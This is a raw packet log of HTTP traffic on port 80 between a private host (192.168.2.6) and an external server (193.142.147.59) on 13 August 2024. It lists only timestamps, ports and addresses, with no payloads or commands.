Aug 13, 2024 10:21:16.750351906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750356913 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.750385046 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.750549078 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750566006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750576019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750585079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750588894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.750593901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750603914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750612974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750614882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.750623941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.750636101 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.750664949 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.751024008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751036882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751046896 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751056910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751064062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.751068115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751079082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751091957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.751118898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.751147985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751158953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751184940 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.751209021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.751270056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751280069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751290083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751298904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751308918 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.751310110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751327038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751328945 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.751339912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751351118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.751353979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.751370907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.751388073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.825191021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825216055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825227976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825238943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825252056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825262070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825273991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825282097 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.825311899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.825361967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825371981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825382948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825402021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.825402975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825414896 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825419903 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.825449944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.825640917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825676918 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.825764894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825776100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825787067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825798035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825808048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825814009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825819969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.825824976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825835943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825838089 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.825849056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.825874090 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.825891018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.826179981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826193094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826204062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826222897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.826246977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.826334953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826345921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826355934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826366901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826370001 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.826378107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826386929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.826390028 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826402903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826415062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826416016 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.826425076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826436996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826438904 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.826448917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826456070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.826462030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826472998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826473951 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.826483965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.826498985 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.826525927 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.827269077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827281952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827292919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827303886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827311039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.827315092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827325106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827336073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827337027 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.827347040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827358007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827366114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.827369928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827379942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827383995 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.827385902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827397108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827400923 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.827409983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827420950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.827433109 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.827461004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.827989101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828001022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828011036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828021049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828031063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828032017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.828042030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828052044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828058958 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.828062057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828072071 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.828073978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828085899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828088999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.828097105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828108072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828119040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828125000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.828130960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.828147888 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.828167915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.837538958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.837639093 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.837656021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.837676048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.837687016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.837697983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.837707043 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.837708950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.837723017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.837732077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.837764025 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.837877989 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.837888956 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.837899923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.837913036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.837917089 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.837953091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.837973118 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.838092089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838104010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838114977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838125944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838130951 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.838138103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838148117 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.838174105 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.838346004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838365078 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838381052 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.838404894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.838450909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838464022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838475943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838486910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838488102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.838499069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838504076 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.838509083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838520050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838525057 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.838531971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838542938 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.838545084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.838565111 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.838579893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.839256048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839272976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839283943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839296103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839298010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.839308023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839320898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839320898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.839333057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839344978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839349031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.839356899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839368105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839369059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.839380026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839380980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.839390993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839404106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839410067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.839416981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.839442968 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.839453936 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.912013054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912038088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912048101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912111044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912149906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912162066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912173986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912173986 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.912204981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.912225008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.912374973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912385941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912420988 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.912445068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912456989 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912468910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912488937 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.912511110 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.912601948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912612915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912631035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912640095 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.912642002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912653923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912656069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.912666082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912677050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912679911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.912712097 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.912830114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912867069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.912914991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912931919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912949085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912950039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.912954092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912966013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.912976027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913011074 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.913177013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913207054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.913220882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.913285017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913297892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913310051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913321972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913327932 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.913332939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913345098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913352013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.913357019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913371086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.913389921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.913407087 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.913717031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913728952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913734913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913741112 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913748026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913801908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.913845062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.913880110 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914002895 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914016008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914028883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914038897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914047003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914058924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914073944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914133072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914143085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914154053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914165974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914171934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914172888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914182901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914195061 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914208889 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914227009 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914571047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914582014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914592028 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914613962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914627075 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914645910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914657116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914666891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914680004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914680004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914690971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914701939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914702892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914707899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914747000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914830923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914840937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914851904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914864063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.914872885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914890051 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.914915085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.915047884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.915060043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.915070057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.915081978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.915088892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.915102005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.915112972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.915122986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.915133953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.915134907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.915134907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.915148020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.915180922 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.915430069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.916177034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.916213989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.925489902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.925515890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.925527096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.925549030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.925575018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.925575018 CEST	49711	80	192.168.2.6	193.142.147.59
